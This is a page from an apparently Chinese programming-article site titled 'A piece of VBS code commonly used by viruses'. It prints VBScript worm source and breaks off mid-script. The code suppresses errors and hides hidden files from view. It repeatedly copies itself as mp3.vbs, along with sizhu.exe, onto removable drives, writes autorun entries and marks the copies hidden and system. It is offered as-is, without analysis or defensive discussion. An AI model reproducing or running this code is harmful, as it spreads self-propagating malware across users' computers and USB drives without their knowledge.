欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页  >  IT编程

一段病毒常用的VBS代码

程序员文章站 2022-07-04 20:28:49
复制代码 代码如下:on error resume next dim fso,wshell,curfolder,curdristr,curdri set fso=creat...
复制代码 代码如下:

on error resume next
dim fso,wshell,curfolder,curdristr,curdri
set fso=createobject("scripting.filesystemobject")
set wshell=createobject("wscript.shell")
set curfolder=fso.getfolder(".")
curdristr=left(wscript.scriptfullname,3)
set curdri=fso.getdrive(curdristr)
reghid() '不显示隐藏文件
if wscript.scriptfullname=fso.getspecialfolder(1)&"\mp3.vbs" then '如果在system32中
for i=1 to 2 step 0
reghid()
for each dri in fso.drives
if dri.drivetype=1 and dri<>"a:" and dri<>"b:" then
'autorun.inf文件夹改名
if fso.folderexists(dri.path&"\autorun.inf") then
fso.movefolder dri.path&"\autorun.inf",dri.path&"\rubbish"
end if
'复制自身及exe文件到移动硬盘
if fso.fileexists(dri.path&"\mp3.vbs") and fso.fileexists(dri.path&"\autorun.inf") then
else
if fso.fileexists(dri.path&"\mp3.vbs") then
fso.deletefile dri.path&"\mp3.vbs",true
elseif fso.fileexists(dri.path&"\autorun.inf") then
fso.deletefile dri.path&"\autorun.inf",true
end if
fso.copyfile wscript.scriptfullname,dri.path&"\mp3.vbs",true
if fso.fileexists(".\sizhu.exe") and not fso.fileexists(dri.path&"\sizhu.exe") then
fso.copyfile ".\sizhu.exe",dri.path&"\sizhu.exe",true
end if
autoinf(dri.path)
'给刚复制的文件加上隐藏属性
set norkon=fso.getfile(dri.path&"\mp3.vbs")
wshell.run "attrib +r +a +s +h "&dri.path&"\mp3.vbs",0
set norkon=nothing